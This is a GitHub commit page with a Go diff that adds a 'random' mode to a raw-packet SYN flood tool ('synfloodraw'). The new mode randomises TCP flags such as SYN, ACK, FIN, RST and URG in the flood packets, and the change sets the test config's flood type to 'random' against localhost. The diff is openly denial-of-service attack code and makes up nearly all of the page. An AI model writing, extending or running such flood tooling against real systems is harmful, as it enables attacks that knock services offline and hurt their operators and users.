Skip to content

Commit

Permalink
Added random mode to synflood
Browse files Browse the repository at this point in the history
  • Loading branch information
arriven committed Feb 27, 2022
1 parent 98b94d4 commit c1a224b
Show file tree
Hide file tree
Showing 3 changed files with 20 additions and 2 deletions.
1 change: 1 addition & 0 deletions synfloodraw/constants.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,4 +6,5 @@ const (
TypeSyn = "syn"
TypeAck = "ack"
TypeSynAck = "synAck"
TypeRandom = "random"
)
19 changes: 18 additions & 1 deletion synfloodraw/synfloodraw.go
Original file line number Diff line number Diff line change
Expand Up @@ -109,7 +109,7 @@ func buildIpPacket(srcIpStr, dstIpStr string) *layers.IPv4 {

// buildTcpPacket generates a layers.TCP and returns it with source port and destination port
func buildTcpPacket(srcPort, dstPort int, floodType string) *layers.TCP {
var isSyn, isAck bool
var isSyn, isAck, isFin, isRst, isPsh, isUrg, isEce, isCwr, isNs bool
switch floodType {
case TypeSyn:
isSyn = true
Expand All @@ -118,6 +118,16 @@ func buildTcpPacket(srcPort, dstPort int, floodType string) *layers.TCP {
case TypeSynAck:
isSyn = true
isAck = true
case TypeRandom:
isSyn = rand.Intn(100) < 90
isAck = rand.Intn(100) < 90
isFin = rand.Intn(100) < 10
isRst = rand.Intn(100) < 10
isPsh = rand.Intn(100) < 10
isUrg = rand.Intn(100) < 20
isEce = rand.Intn(100) < 20
isCwr = rand.Intn(100) < 10
isNs = rand.Intn(100) < 5
}

return &layers.TCP{
Expand All @@ -131,6 +141,13 @@ func buildTcpPacket(srcPort, dstPort int, floodType string) *layers.TCP {
// Ack: 0,
SYN: isSyn,
ACK: isAck,
FIN: isFin,
RST: isRst,
PSH: isPsh,
URG: isUrg,
ECE: isEce,
CWR: isCwr,
NS: isNs,
}
}

Expand Down
2 changes: 1 addition & 1 deletion testconfig.json
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,7 @@
"host": "localhost",
"port": 80,
"payload_len": 1000,
"flood_type": "syn"
"flood_type": "random"
}
}
]
Expand Down

0 comments on commit c1a224b

Please sign in to comment.